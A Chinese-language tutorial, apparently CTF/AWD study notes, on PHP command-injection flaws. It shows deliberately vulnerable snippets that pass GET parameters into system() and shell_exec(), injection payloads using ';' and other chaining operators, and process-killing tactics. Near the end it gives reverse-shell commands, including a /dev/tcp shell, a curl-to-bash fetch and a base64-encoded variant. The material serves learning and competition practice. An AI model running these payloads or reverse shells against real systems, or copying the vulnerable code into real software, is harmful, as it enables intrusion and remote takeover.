命令执行漏洞

1. 程序过滤不严,导致用户可以将代码注入并执行

**高危函数:**eval()、assert()、preg_replace()、call_user_func()等等...

2. 对于执行命令的函数,参数过滤不严谨,导致直接命令执行

**高危函数:**system()、exec()、shell_exec()、passthru()、pctnl_exec()、popen()、proc_open()等等...

反引号是shell_exec()的别名,如echo `ls` 代表执行ls命令

<?php
    $username = $_GET['username'];
	system("mkdir $username");
?>

正常情况下用户传入adc,系统就会执行“mkdir abc”命令,去创建一个文件夹

但是如果传入参数为“abc;ls”,那么在创建文件夹后会执行"ls"命令,因为 ”;“ 分号为命令拼接,将两条命令放到一行当中去执行

cp /tmp/sourcefile /app/public/#{userinput}.png

如上述例子中通过传入"abc.png;ls;",就会导致额外的命令执行

执行权限

执行系统命令继承Web server用户权限,Web服务器用户为www-data

在awd比赛中,通常会给你一个能够连接ssh的用户,例如ctf、test、user,如果别人给你服务器种上了木马,而你使用连接ssh的用户通常无法删除,因为所属用户组不同,因此没有权限

通常解决方法为给自己服务器写入木马,然后通过蚁剑类远程执行命令工具来去删除对方木马

另一种是不死马,不死马会在内存中不断运行,每间隔一段时间如一秒,向主机重新写入木马,解决方法为通过蚁剑连接到自己主机,执行”kill -9 -1“命令,结束当前用户所有的进程

如果说是通过调用系统命令执行"sh busima.sh"、"php busima.php"等命令,可以通过执行

ps -ef | grep busima.sh

找到进程PID,然后通过"kill -9 pid <PID>"结束进程

例子

<?php
    if(isset($_GET['ip'])){
        $ip = $_GET['ip'];
        echo shell_exec("ping - c 4" . $ip);
    } else{
        highlight_file(__FILE__);
    }
?>

PHP中的点'.'代表字符串拼接

通过拼接命令参数,导致的额外命令执行,如执行“ls -l”命令

GET:

http://localhost/test.php?ip=127.0.0.1;ls%20-l

联合执行

cmd1;cmd2;cmd3

命令从头往后依次执行,无论前一条命令是否执行成功,都不会影响后面的命令执行

cmd1&cmd2&cmd3

使用逻辑和&&,如果前一条命令出现错误时,将会停止执行后面的命令

cmd1||cmd2||cmd3

使用逻辑或||,如果前一条命令执行失败,才会执行后面的命令

echo 'abc' | md5

使用管道符|,会将前一条命令的结果作为后一条命令的输入

%0a
%0d

换行和回车符

无回显问题

通常在远程计算机执行命令后都会返回命令结果,但是也可能没有返回结果,也叫无回显

反弹shell

nc -lvp <port>

在自己服务器中监听反弹的端口号

bash -i >& /dev/tcp/<ip>/<port> 0>&1

在远程计算机上执行如上命令,即可完成shell反弹

此命令也有可能无法执行成功,可以将命令保存在自己服务器中的一个txt文档中,使用管道符来执行命令,如下

curl http://localhost/shell.txt | bash

也可以通过将命令进行base64编码来执行,如下

echo YmFzaCAtaSA+JiAvZGV2L3RjcC88aXA+Lzxwb3J0PiAwPiYx | base64 -d | bash